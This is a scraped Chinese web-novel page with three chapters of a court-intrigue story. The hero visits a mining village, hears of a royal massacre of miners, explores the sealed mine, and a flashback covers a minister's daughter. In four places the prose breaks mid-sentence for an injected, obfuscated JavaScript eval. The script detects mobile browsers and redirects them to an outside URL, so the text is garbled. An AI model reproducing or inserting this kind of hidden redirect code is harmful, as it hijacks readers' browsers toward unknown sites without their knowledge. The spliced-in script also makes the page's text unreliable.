桃七先做翅膀，再做竹柄，两扇翅膀需形成一个微微倾斜的角度，这是竹蜻蜓能上天的窍门。七八只竹蜻蜓，半柱香就做好了，于桃七而言不在话下。 烨都贫苦人家孩童从小玩的玩具，于他们而言却是珍宝一般。孩子们兴奋地跳起来，欢声笑语，叽叽喳喳叫不停，这个被遗忘的地方似乎已经多年没有传出这般活人气息。 少年再度一声令下，孩子们安安静静排排站成一队，每个人都得了一支。拿到手后，小小的双手夹住竹柄，迫不及待地搓了起来，越来越快，三五下后，双手一松，竹蜻蜓螺旋上升，飞向了灰蒙蒙的天空。 有两三只飞得并不高，到大人头顶那么高的位置就下落了，有两只飞到了树杈上，甚至有一支飞上了屋檐，越过屋顶后不知落到了何方。 材料还有剩余，桃七本来还想做个不倒翁，可惜刻刀钝了，只好放弃。 “班头，你太厉害了。”江跃亭用一种崇拜的眼神看着他，似乎也想要一个。 “这竹竿枯死许多年了，不适宜再用，下次我用新鲜又有韧性的慈竹，做几个精致的竹编老虎和小人儿，他们会更喜欢。” 桃七专心将地上的竹节踢到一边，拍了拍身上的竹屑。 “班头……”江跃亭拍了拍桃七的胳膊，“你看那人，一直在往这边看。” 江跃亭注意到屋子里的“陈茂”早就走到屋门口，懒洋洋地倚着门框，朝孩子堆围着的这边看，桃七又怎么会没发现呢。 那人发现桃七二人也在看他，于是错开眼，眯眼瞧那几只上升中的竹蜻蜓。 飞得高了，总有下落坠地的时候。 可也总有一只小小的手掌，把他们捡起来，将分离的竹翅和竹竿用力接上，继续用力搓，让它一次次地飞起。飞得高的时候，还会发出雀跃的欢呼。 天快黑了，桃七打算带着江跃亭回烨都去。此处没有落脚的旅店，四周都是山林，天一黑，就会变得很冷，风大的时候，扬起的沙尘让人根本看不见路。 “等等。”老人家叫住了他们。 桃七回头，认出了那是领着他们来找陈茂的老人，小志正抱着他的腿，原来他们是祖孙两个。那老人走近了说：“二位是外乡来的，陪我们矿村的孩子玩了这么久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006020|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天也快黑了，不如就到小老儿家里吃个便饭再走吧。” 原来这里就叫“矿村”。桃七和江跃亭对视一眼，彼此看出了对方的意思，矿村仅有百余口，村民都不富裕，粮食对于他们来说很珍贵，桃七和江跃亭又很穷，没有铜板给他们，实在不好意思去人家家里蹭吃。 于是桃七向老人家微微作揖：“多谢老丈的好意，我们自己带着干粮呢，而且天色太晚了，我们得抓紧下山去投宿了。”桃七说着，去牵拴在陈茂家围墙外的两头驴。 “诶，小哥儿，”那老丈坚持拦住桃七，“离咱们村最近的旅店也要六十余里，你们的驴走到半夜都走不到的。况且这阵子晚上山里有狼出没，你们两个人走实在不安全。小老儿家里只有祖孙两人，还有个空房间，你们不如在我家吃晚饭，再睡一觉，明早再走怎么样？你们不吃不睡，两头驴子没草料吃也要尥蹶子的呀。” 桃七倒真忽略了这点，没给驴子准备草料，和江跃亭对视两眼，犯了难。 可当桃七看到陈茂靠在门口，向他们摆出一副轻蔑的冷脸时，他心头一股火气就怎么也控制不住，好像多待片刻就会被他笑话似的。 “不必。我们还有要事，天黑前必须走，多谢老丈的好意。以后，我俩应该还会再来的。”桃七微微蹲下来，摸了摸小志的脑袋，然后牵起两条驴子就走。 老丈看他坚持要走，就没有继续挽留了。 院子里的孩子和老人也都散了，各回各家，吃顿不丰盛的晚饭，或者根本就没有晚饭，天黑之后没钱点蜡烛，就直接睡了。 “站住。” 桃七和江跃亭走到村口岔路，背后就传来这么一声。 “弄坏了我晾衣的竹竿，不补偿我，就想走？” 桃七背对着他，老谋深算地勾了勾唇：“你想我怎么补偿？” “留下来，做一夜的手艺活，怎么样？”这话听起来有些许玩味。 桃七垂眸，片刻后，洒然一笑：“那也得劳你的口唇忙活一夜了。” 在江跃亭疑惑不解的目光中，他终于转身，目光对上了灰蒙蒙落日下并不高大显眼的一道影子，陌生感轰然消散，那眼神与之前的三次相遇完全不同，有一种彼此身处同一种境地之中的默契，淡泊如水，相见恨晚，惺惺相惜。 “公子请。” 21. 惊往事夜尽北川明 距今五年十个月前，北川矿场的鬼矿案在烨都传得沸沸扬扬，如野火过境，引起了巨大的恐慌，不论朝堂还是民间，无人不在谈论那地底百丈深处的诡异死人尸骸。 矿脉中出现白骨尸骸已是匪夷所思，矿难后埋于地下的矿工，过了几天，有人发现他们的尸身代替死人骨埋在山林野地中。于是闹鬼的言论甚嚣尘上，不少矿工放弃工钱连夜逃回老家。 恰在此时，钦天监于灵台夜观星象，见彗星见于危宿，客星犯御座甚急，北斗四??星，天枢、??天璇、??天玑、??天权色暗，呈黄，黄为土功，预示祸从地下而出，是大凶之兆。又以龟甲卜算，裂纹俯垂低临，亦为大凶。 钦天监和筮官接连两日上报，声称此乃上天示警，人主需采取非常之法，否则国将不国，天下大乱。 矿场是皇室私有，文武百官们极力上奏要求关闭矿场，年仅十一岁的小皇帝在压力之下，还是下旨关闭。原是暂时关闭，但不知为何，后来竟然再也没有再度复工。 皇室，居然放弃了这座金疙瘩。 这些都是公开已久的信息，不必多提。 只是还有没公开的一些秘辛，也许只有皇帝以及朝廷内阁里极少的老臣知道，连摄政王宋无忌都是事后才知晓。 鬼矿案事发的两年前，矿场地底下，就再也没有金矿出土了！ 原来那金矿只有薄薄的一层，发现之后一年不到就采得一干二净，再往底下去，就只能挖掘出品质不高的锡和铜，这些普通矿产用处虽大，但是利薄，皇室根本看不上。可皇室并不放弃，命令让矿工接着往下搜寻金矿，即便一无所获，也要继续，即便遇到难以凿开的断层玄武岩，工部下派的九品吏官也要逼着他们继续开采，为此，短时间内发生了十余起矿难。 矿难是开采矿石中途不可避免的，每年都会发生，即便今年发生的次数过多，也并未引起朝廷分毫重视。那些死去矿工的家属也只能自认倒霉，也没有获得任何抚恤补偿。 据矿村的老人回忆，那时两千名矿工里，死于矿难的居然不下于五百人！ 随着死难人数越来越多，部分矿工已开始自发夜半逃离。而恰在这时，矿脉深处莫名冒出了死人尸骸，是完全镶嵌在巨大的岩石内的白骨，经年日久，几乎风化的，绝非人力所为。 “鬼矿案”发，京兆尹府查不出半点来龙去脉。逃跑的矿工就更多了，他们大多是独身从外乡来的，没有牵挂，而拖家带口在矿村安家的，大多数都没有逃离。他们坚守着居住了数年的家园，以为熬过这一阵子朝廷就会放弃掘金子，他们便会被派去采铜和锡。 可接下来，便迎来了矿场关闭的旨意。 矿工还没从失去生计的打击中回过神来，半日后，又来一道密旨。 ——屠尽此地中所有矿工。 今日桃七见到的矿村村民，便是当年遭遇屠杀的矿工的家人们。矿村的孩子，最小也就是五六岁大，再无更小的孩子出生。因为他们父母辈的壮年人，都是曾经的矿工，都已死在效力多年的矿场内，尸体填入最深的矿脉下。若干年后，他们也会成为一具具白花花的骨骸，不知会不会有被人起出的那一天。 千余名矿工屠尽之后，便轮到与矿场仅隔一道山凹的矿村村民。 朝廷竟然打算赶尽杀绝。 矿村人都是近十年从外地逃荒来的，并非烨都人，在当地也没有熟识的亲朋，矿场四面环山，就算集体消失，也不会引起任何反应。 千余名矿工中，有一人名为陈羽，他也住在矿村，只不过并未成家，他有一个相依为命的弟弟，幼时被江湖中数一数二的武学名家看中，拜师习得武艺。在江湖流浪够了便打听到家人的下落，来矿场找到哥哥，一起住了两年。他自诩一身武艺，不屑于钻那黢黑的地底，自去找营生，但都干不长，傲气地以为那些活计埋没了一身本领。偶尔还回矿村一趟，可那一次回来，却只见到了满满一矿洞的尸体。 洞口的鲜血漫至足踝，渗都渗不下去，幽深的矿洞里，人叠着人，最底下的，被压扁了，内脏都挤了出来。 他发了疯似的翻找他哥哥的遗体，从最顶上开始，把尸体一具一具搬出来，从白天找到黑夜。又在山岗上见到大批朝廷鹰犬，趁夜黑风高，擎着火把，跨马带刀进入矿村。登时目眦尽裂，立即回转救人，果然看见村民们不论男女老幼，皆被捆绑住身子，聚集到一起，身上泼洒上煤油。他拼尽一身武艺也要救人，与七十余骑金吾卫血战半日。 他差一点点，就要血尽而亡。就在这时，宋无忌率领摄政王的三百亲兵，带着幼年皇帝的口谕来了。 据说，宋无忌亲自救援矿村时所传的口谕是伪造的。事后，他施展了雷霆手段，甚至在金銮殿前，当着皇帝的面，拿御赐宝剑杀了好几个臣子，震慑住了百官。挥舞的屠刀才没有落在村民头上。 村民们被释放，还允许他们世世代代居住在矿村。 而下一个遭殃的，却是与此事看似毫无关联的吏部侍郎姚鹤。 宋无忌待矿村仁慈，可这件事并无多少人知晓，而他在殿前力主将姚家满门抄斩的激昂陈词却是震惊了朝野上下。 陈羽的弟弟便是陈茂，宋无忌没有为难他，反倒颇为欣赏。大抵有真本事之人，到哪里都吃香的缘故。 陈茂追问其这桩惨案的缘由，可宋无忌说了一句话，大意是，你要什么，就得拿出相应的东西来换，而那时的他，还远远不够格。 陈茂无力为兄长和上千矿工挽回公道，他开始发了疯地修炼，历时三年没有一丝懈怠，武学境界早已达到宗师级。他知道，纵观大岐，或许只有几位不出世的高人，才能做自己的对手了。 他再去敲摄政王府的大门，可是宋无忌不见他。 他已经有资格用武艺去交换自己想要的答案。宋无忌仅派人递了一句话——摄政王要的，不是一把明晃晃的剑。 他要的是他虽是剑，却让世人看不出鞘里藏着的锋芒。 他在王府大门外，思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006021|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索了整整三日夜，第四天，他徒步去了举辉堂，做了一名低贱的仆役。迎来送往，低三下四的活计日复一日，磨去一身的血性和剑气，他也渐渐靠自己获得了许多情报。 屋内，破破烂烂的塌上，和衣而卧的书生睡得酣甜，二人就在屋外站着，从夜深直至黎明，目视朝阳一点点升起。甚至将阴霾也驱散了大半，无尽光明洒落在这片枯黑的山地之上。 “所以，是你故意在地下拍卖场放出消息，目的就是让我以为自己发现了惊天线索，然后自动去追查线索，最后找到你？”少年靠着低矮的围墙，平静地说道。 “钩直饵咸，离水三尺，可你还是中计了。”陈茂的语中不乏得意。 桃七自嘲似地哂笑一声，摇了摇头。 北川矿场，天价锡矿，神秘的卖家——这几样线索，都预示着和姚府灭门案有莫大的联系。揭起他最痛的往事，他怎么能不失去理智。 陈茂又问：“你带来的那个书生，值得信任吗？” “目前我没看出有什么问题。” “目前？”他皱眉，缓缓吐出四个字：“疑人不用。” 桃七不以为然道：“以我现在的实力，尚不能确定任何人是不是值得信赖，正如我不知那药丸是什么，也只能把命豁出去拼一把，在你面前吞了一样。” “如今，你可算把我当做自己人了？” “没有任何人称得上完全的自己人，心腹亲信可以毫无预兆地背叛，敌人派来的细作说不定也被你感化，心甘情愿为你尽忠效力。”桃七眼神一定，“今后的一切行动，我愿把它归结为一个字。 ——赌。” 陈茂默不作声地看着他，朝阳下，少年的轮廓镶嵌了一圈金色，昨日一日奔波，又是一夜未眠，桃七脸上却没有任何疲惫，只有一种淡然。而那淡然之下是什么，陈茂也没有看透。 “既然这样，我也给那书生一些时间证明他好了。”陈茂的意思是相信江跃亭，可以将一些秘密透露给他。 桃七却道：“他老家在江西，今年初才来烨都。他与此案无关任何关联，你说给他，他还不屑知道呢。” 陈茂撇了撇嘴，问：“那你的其他尾巴呢？” “那就更没问题了。”桃七笑了笑，“牵线搭桥的，不就是他吗？” “这你就说反了。” “什么意思？” “那天你被卖到举辉堂，是我告诉他的。”陈茂冲他不怀好意地一笑，“是我给你们牵的线，搭的桥啊。” 桃七思索片刻，许多事情就有了解释。当日被长脸人牙子拖到举辉堂门口之后，恰巧被陈茂接管，他把自己交给了四个仆妇，那四名仆妇见到他的身子之后，竟然自觉保守了秘密，直到今日也没有吐露半分，便是陈茂暗中交代过了。陈茂放下他之后，转头就直奔摄政王府报信，宋无忌立即驾临举辉堂，重金买下了自己。 唯一想不通的是，陈茂从前从未见过自己，他为何知道，自己便是宋无忌要找之人？ 22. 点灯油矿底度良宵 北川矿场附近的几座无矿渊山，几年前也是光秃秃的一片荒地，呈现大片寥落的灰褐色。冶金需要燃料，此处山林中的松树林几乎被砍伐殆尽，山体裸露的岩石层层叠叠，布满沟壑，只有少量稀疏的植被顽强地扎根在石缝中。矿场关闭后，经历了五六年的岁月，落种发芽，新木生长，才恢复了些许生机。 不甚茂密的丛林之内，没有路，两人深一脚浅一脚，一前一后走着。 “第一次去举辉堂时，为何你能认出我的身份？”桃七把一颗拦路的石头踢到一旁， “画像。” “画像？”桃七凝目，“哪里来的画像？” 可陈茂似乎意识到自己不应说太多，非但没有回答，反而甩开双腿，步伐变急了些许，把桃七甩在后面。 “是因你五年前便知我是罪臣之子，还是……宋无忌给你看了我的画像？” “不要在意这些细节。”陈茂摆明了不想透露。 桃七见他不答，也不纠结，昨晚陈茂所说的一切他也没有全盘相信，而是存着半分猜疑，他还要靠自己的手段去打听确证。他相信只要有心，什么都能查得出来。 桃七快跑几步跟上了他，将距离拉拢。 “你说你与宋无忌是合作关系，”桃七促狭地眯了眯眼睛，“是怎么个合作法？” “其实也没怎么合作，五年前他保下矿村之后，就从没找过我，我也见不上他，只有他府上的两个侍卫，传过几回话。” 两个侍卫，那必然是千叶和万青两个心腹，桃七道：“看来他是将你作为一支藏匿已久的暗箭，若非千钧一发之际，绝不动用，而一旦射出，必是一击即中。” “这你便想得过了，”陈茂将手掌慵懒地放在脑后支撑着，“他可没那么信任我，我也不服他，我和他的关系，远没有同你这般亲近。” 他说着，将头往后侧了侧，勾起嘴角冲桃七意犹未尽地一笑，这么看着，眉间一道疤痕十分明显，尾端延伸至下垂的眼尾，蜈蚣似的，诉说着当时的惊险。他身量并不高大，相貌也平平，甚至有些粗犷，却带着江湖人士的侠义和风流，平添独有的魅力。 桃七挑了一下清秀的双眉，道：“你我之间，哪门子的亲近？” “共度一刻良宵~~”陈茂拖长了句尾两个字，“俗话说良宵一刻值千金，佳人赠我千两金，怎能不令我日夜挂怀。” 桃七面不改色：“俗话又说，男儿膝下有黄金，兄台给我跪下磕一个，咱俩就两清了。” 不知不觉已走到无路的深山里去了，前方一块半人高的石头嵌在山体里，陈茂轻轻一跃跨了上去，回身向背后之人伸出手，那手五指粗长，掌心纹路深如沟壑。 桃七顿了足，把他的手打到一边，用手撑石头，迈开一大步跨了上去。 起身，拍了拍袖子上沾的落叶，走到他前头去。 “我知道自己长得丑，可也不用这么嫌弃吧。”陈茂跟上他。 桃七斜眼看他：“嫌弃一词，从何说起？小弟我本就是个钢筋铁骨自力更生的汉子，何须手牵手做那婆婆妈妈的姿态。” 陈茂伸出的手举了起来，是个投降的意思。 翻过这条尚算茂密的山脊，眼前便是无边无际的荒山砂石，沟壑纵横，北川矿场的门头，当年就在他们脚下的位置。 须臾后，他们来到一座巨大的矿洞前。 矿洞高约一丈五，坐北朝南，如一根倾斜的巨大管道插入山体，据说当年此山中发现金矿时，地师和风水大师一齐定下了这个位置，从此处掘入说是能保安全开采，并且能最大效率地挖出源源不断的金矿原石。 可惜，这两个目的都没有达到就是了。 它如某种庞然大物的巨兽咧到极致的嘴部，虽然没有獠牙与舌头，里面却阴森诡谲，暗含危机，还有许许多多未知的阴私隐秘。 靠近此洞，桃七的鼻子皱了皱，空气中弥漫着一种独特的气息，让他十分不适应，混合着泥土和刺鼻的金属味道。 一辆腐损的矿车停在轨道上，轨道左一段，右一段，它们成为了往事无声的见证者。 “这下面，就是当年挖掘出死人尸骸的矿洞？” “正是？” “可否进入？” “入口已被铁栏封死，”陈茂道，“不过我曾切开两条铁柱，一个人进去过。” “里头有什么？” “死尸。” “还能挖出死人骨？”桃七闻言精神一振。 “不，是那千余名矿工的尸体。” 桃七沉默。 五年多前陈茂赶矿洞时，看到的就是遍地温热的矿工尸体，血液泼洒入脚下的泥土，渗都渗不完。后来尸体尽数被投入矿洞之中，于矿洞口浇筑铁栏封死。最后是陈茂将尸体一具一具地背了出来，交给他们在矿村的家人入土安葬。 可惜他没能找到自己哥哥的尸身，因为在矿洞一百丈以下，有一条深沟，根本探不出有多深，而且越往下越窄。当年掘出来的目的是勘探底下是否还存在金矿。他哥哥以及其他若干尸体许是恰好落入了其中，无任何办法进入将尸身运出来，就连武艺超群的陈茂也不能。 “我想去看看。”桃七道。 * 一盏小小的油灯照亮出方寸大小的一块地方，两人依旧是一前一后的位置。陈茂对此地熟悉，在前面开路，走得不慢。 他提着的是专业的采工篝灯，原本是在岩壁上的悬挂式，被他改成了手提式，里面一丛小小的火苗，稳稳地照耀着，偶尔跳动摇晃一下，不过很快又顽强地恢复了过来。矿洞底下无风，不过空气十分稀薄且阴冷。 那煤油灯燃烧发出刺鼻的气味，和一缕浓烈的乌烟，强势地侵入人的鼻腔和肺腑，就连桃七也忍不住用衣袖捂住鼻尖，胸口甚至泛起了恶心。 “那是什么油？”桃七忍不住问。 陈茂好似毫无所觉得，举起了篝灯，静静地看着：“这里面烧的是麻籽油和矿渣里提炼出来的油混合起来的燃料，燃烧时间久，而且十分便宜。弊端是会在燃烧后产生这样的乌烟，当年给矿工看病的几个大夫都说，这种乌烟对人体的伤害，甚至大于冶炼铜和锡的浓烟。” 矿洞底下常年黑暗，矿工下去劳作，没有一时半刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006022|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能够离得开这种灯的，可那烟雾不啻为慢性毒药，矿工经年累月就这么用着，根本没人会在这种事上为他们考虑。 “用作照明的油类中，鱼油和胡麻油最好，”陈茂道，语调砭骨一般讽刺，“价格不消说，就是一个字，贵。烨都里的贵人们去寺庙里点的长明灯用的就是那种油，满满一大瓮，是他们敬香礼佛心诚的表现。” 桃七尽量离那缕黑烟远一点，他推测，矿工们常年吸入这样的烟雾，若不是五年多前死于皇室的屠刀之下，能活到如今的，怕是也不多了。 可这是矿工们五年前下井用的，陈茂现在何苦要继续用呢？桃七想，要么他是不想让自己好过，要么，他的心中，的确有一种深不见底的执念。 他提着当年的灯，烧着当年的油，想用这火光，照亮当年人的归家路。 “不过据说，不论何种油，都不如人油燃烧持久，无烟无害，无色无味，不知道是不是真的。”陈茂边走边说，手里的灯摇晃了几下，发出吱呀吱呀的声音。 “是真的。”桃七道 陈茂停步回首，这是一段倾斜度极高的陡坡，他得向后仰天才能看得清桃七的脸。 “烨都西郊柯子坡上的乱葬岗，经常有炼油厂的奴工去搬尸体，我父母的无头尸身，就是被拉去炼了油。” 这么一听，他们两个的处境，竟是惊人的相似了。 陈茂顿了顿，瞳孔微微大了些。 那是桃七第一次承认。 承认了什么呢？乱葬岗里尸首那么多，多的是死去的贱奴和流民，他们的衣裳被扒下来，头发被拿着剪刀的婆子铰去，身体被拉去炼油，不是日日都能得见的场面吗？ 所以，他又好像什么都没有承认。 周围是一片黑，两步远的地方，就是未知的黑暗，蔓延无际。 “走啊，”桃七推搡了他一下，“愣着干嘛？” 一只手臂却将他拦下。 陈茂道：“那下面，没有什么值得看的了。 桃七定神，倾身向下面看去. 这时一阵无所来处的阴风，似乎略过二人的颈项，灯罩中，火光忽长忽短不停跳动。 桃七意识到，那底下就是掘出死人骨的地方了，也是剩下他未找到的矿工的埋骨之地。 桃七不由分说，按下陈茂的右臂，越过他，走到那深坑边缘。 那股阴风如影随形，似乎就是从无尽深渊下传来的。浓重的潮湿的水汽和土壤的腐腥味，凝神细听，似有幽怨的哭嚎，从极其深处传来。 这里没有生命的迹象，没有任何光亮，甚至会让人失去时间的概念。只有无尽的黑暗和死亡气息，头顶的岩石仿佛随时会崩裂，整个世界的黑暗都在向你压来。 恍惚一瞬间，桃七浑身一顿，神魂近乎出窍，面部木讷呆滞，身体似被盘结密布的蛛网禁锢住了，只有一条腿，微微抬起，似乎想要再往前一步。 直到手腕被人一把抓住，用力将他拽了回去。 “你怎么了？”眼前一张模糊的人脸，表情严峻，甚至称得上惊惧，“你的眼睛，怎么……为什么，不转了？” 23. 身萦白骨魂归故园 三年前，刚从陇西老家搬来烨都的吏部侍郎姚鹤有个独生女，说是一来烨都就患上了眼疾，八岁时病症加重，姚父姚母心急如焚，上至太医院，下至民间圣手，统统请了个遍。 梁轸梁太医，那时是太医院院判，我朝最年长的老太医，即将致仕回乡。先皇曾患有青光眼，几近失明，经过他的妙手，竟然康复如初。 姚鹤腆着一把脸，趁着梁太医回乡前亲登门请来了人，为女儿诊治。 一座不算阔气，却典雅宁静的宅邸后院，花圃里的芍药恹恹儿垂着头，石桌上摆放着几碟精致的糕点和茶水。女孩儿头顶双环髻，腕上一只种水极佳的小玉镯，脖挂雕工精致镶红绿宝石的纯金长命锁，一身粉蓝色缎面小袄裙，额间一点粉嫩的花钿，衬出圆滚滚的脸蛋白嫩水灵，唇红齿白。她正坐在石凳子上晃荡脚丫子。 梁太医坐在院中，给姚凄凄把了一会儿脉，顶着小女孩两颗又大又圆的眼乌珠子定定射出的精光，竟宛如承受着巨大的压力一般。不过在他把完脉，仔细观察了一番病人的眼睛后，沧桑的瘦脸上并未表现出痛惜的神情，而是带着一丝惊奇。 他抚摸了两把雪白的山羊胡，给出了诊断结论——是个犟种。 太医院院判确实有两把刷子，外头请过的大夫里，十个有八个看过姚凄凄的眼睛后，都说她是鬼上身了。 因为姚凄凄的眼睛实在诡异，一旦盯上了一件东西，便直勾勾地盯着，好几个时辰不会转一下眼珠子。姚父姚母怀疑女儿是双目失去了转动的能力，所以才会一直盯着一件东西看，可当那件东西消失在了视野之内，她也会放弃，转而换下一样东西盯。 若是物件也就罢了，可他还喜欢盯人。 任何人被别人死死盯着不动，也会无地自容，十分尴尬窘迫，甚至怒意上涌，以为那人找茬，即使盯人的是个乳牙刚掉的小女孩。 “小女眼睛是否可医，还请梁太医明示，不必考虑我与拙荆的感受。”姚鹤深呼吸，做好了准备。 梁太医慢腾腾拿起玳瑁毛笔，姚鹤以为太医已经有了主意，要开始写药方子了，连忙帮太医铺好纸。可梁太医举着笔，在姚凄凄的眼前晃了晃。 女孩的眼睛果然被笔杆上的美丽花纹吸引，随着那笔的移动，颈部转动了起来。 “还请梁太医，写个方子，我也好按方抓药。”姚鹤道。 而梁太医慢腾腾放下笔，收起鼻梁上的玳瑁目镜，慢腾腾道：“小姐的症状只能算是习性不佳，或是心里头有点疙瘩。不影响日常生活的话，按老夫的意思，不必吃药。” 姚鹤夫妇两个面面相觑，彼此看到了对方眼里的绝望。 姚夫人问：“从外头的大夫那里听闻，针灸活血化瘀，放松经络，或许有用，依梁太医所见，是否可以在眼周施针？如何施针？” “回夫人，并不是眼睛或是筋骨穴位处出了什么毛病，扎再多针，等闲也不会变好。” 梁太医果然没有顾忌姚家夫妻两的感受，他的话听起来分外扎心。 姚鹤道：“依您刚才所言，习性不佳，和那心里头的疙瘩，是作何说法？” 姚鹤夫妻两个坚信女儿是得了什么怪病，需要好好医治才能康复，所以理解不了太医说的那种肤浅的病因。 梁太医言简意赅：“女娃娃忒犟。” “您的意思是……”，“喝个什么药能治啊？” 瞅了瞅听不懂简明人话的夫妻俩，梁太医心里烦躁，忍了又忍，才把“没教养”三个字憋住了。吏部侍郎是朝里的新贵，还是别得罪的好。 “若非要什么药材，那扫帚上的细竹签，格子架上的鸡毛掸，教书先生的打手板，都是好药，扒了衣裳，用力外敷，也就好了。”太医将脉枕收到匣子里，啪一下关起盒子，再喝口茶就打算走了。 姚鹤在心里咂摸了片刻，似乎顿悟：“太医的意思，是小女的眼睛不需要治，她是故意盯着旁人的，打一顿就好了？” 梁太医老怀甚慰。 姚凄凄的眼睛没有任何问题，纯粹是故意的。她在街上看到一个人，若是引起了她的兴趣，便盯紧了，目光发直，定定射出，似有攻击力。尤其是那人要是与她眼神对上了，她就绝不会先移开眼，一定要对方比她先收起眸子，仿佛丢盔卸甲，落荒而逃，那样她算是大获全胜了。 “没教养”三个字可谓概括精辟。 给梁太医付了多多的诊金，再把人恭恭敬敬送出府后。姚鹤回到院子里，深呼吸，握紧了拳头，打定主意试试那法子，吩咐在一旁伺候的丫鬟去拿鸡毛掸。 丫鬟是个机灵的，先是看了看当家主母，姚夫人一把抱住姚凄凄，用陇西那边的口音说：“老爷，你想干嘛？” 打是舍不得打，姚鹤只是想吓吓她，板着个脸，撸了两下宽大的袖子：“你把她放开。” 姚夫人泪眼婆娑，帕子举起来在两只美目上点了又点：“咱们的七儿只有八岁，还病着呢，你竟忍心打她？” 姚鹤不惧内，但是受不了夫人装弱，抱着女儿哭起来，好似黑心恶丈夫薄待了妻女。 “夫人呐，你还没听出来吗？从五岁开始到现在，这么久了，她就是在装病！” “你要打她，不如打我，用力地打，狠狠地打。我可怜的儿啊，你是我唯一的女儿，我的骨肉囡囡，从小到大一根寒毛都没舍得碰过，杀鸡都不让她看，被你棍子下去，就打碎了呀……” “你这这这这……你又这样做什么？” “呜呜呜……别打小姐，呜呜呜……”在一旁偷吃糕点的霍霍也哭了起来，三步并做两步跑过来，和母女俩搂在一起，哭开了。 在一片女孩子的哭泣声中，姚夫人弱声道：“寻常父母，知道孩子并无病痛，那必是心里放下了一块大石头，还要去庙里上香敬佛还愿的。可老爷知道了七儿的眼疾并无大碍，非但不欣慰，却是这种反应，妾身真不知老爷您心里到底疼不疼咱们的女儿。” 姚夫人是个牙尖嘴利的，几句话就把黑的说成白的，指责起姚鹤来。 姚鹤摔了手，道：“我就吓吓她，又不是真要打，你这……都是歪理！” “我不怕！”在母亲怀里的姚凄凄突然大声道。 “你说什么？” “娘，”姚凄凄摸了摸母亲的脸，小手把腮颊上的热泪拭去，轻声道，“娘，打就打，我不怕。”明明是软糯小女孩儿的声音，可听起来却带着点视死如归的味道。 “呜呜呜……小……嗝……小姐……” 母女俩和一个傻丫头三人依偎在一起，搂脖子擦眼泪，要多可怜有多可怜。 “还不怕……”姚鹤差点被气笑了，指着女儿，“我问你，你那把人往肉里盯的习惯改不改？” “不改。” “逆女！”姚鹤从头顶的琵琶树上折下一支树枝，作势要打。 姚夫人举起双臂，用娇弱的身躯将姚凄凄挡在身后，哭诉道：“不过是多看了旁人两眼，要看就让她看，横竖人家不会少一块肉，老爷何苦气成这样呐？” 姚鹤脑海之中似乎泛起了痛苦的记忆，方正端凝的一张脸皱了起来：“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006023|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道三日前我领她上街逛灯会，她盯上了什么吗？” 姚夫人显然不知道这茬。姚凄凄道：“不是什么好看的，没意思极了！” 姚鹤险些仰面朝天翻倒，冲着不到他腿高的女儿，明明是想吼出来，可是硬生生把声音压了下去，憋得脸红脖子粗：“那刁民在路边解手，你也要凑上去看！” 姚凄凄一字一句，咬字清晰：“他站着，对着一棵树，不知道在做什么，我好奇。” “哎呀！”姚夫人半湿的手帕迅速捂住了女儿的眼睛。似乎怕她看到什么不干净的东西。可是都三日了，哪里还来得及。 “我给你两个选择，”姚鹤伸出两根手指，“第一，改了这糟心的毛病，拿出世家贵女的样子好好学规矩。第二，做不到上面的，你就一辈子给我呆在府里，哪里都不准去。” 那天，姚凄凄哪一样都没有选。 也就是从那时开始，吏部侍郎姚鹤的女儿，便开始待字闺中，说是养在府里好好教养，待到 出阁的那一日才能出府门。烨都里官眷妻女之间的聚会宴饮，她一次也没有参与过。她不改了随随便便死盯着别人的坏习惯，姚鹤又怎敢带她出门见人。 以至于五年之后，烨都里再也没有外人能说得清，吏部姚侍郎家中独女到底年方几何，是何模样。 * “喂！喂！” 姚凄凄感到有人在推自己，粗粝的声音在耳边喂来喂去，伴随着悠远的回音，那声音应是在呼喊他。四周为何这么黑，眼前似乎有一个模糊的影子，是个陌生的男人，离他这样近，几乎是抓住了她的肩膀，家里何时雇了这样一个无礼的下人，她完全不知。 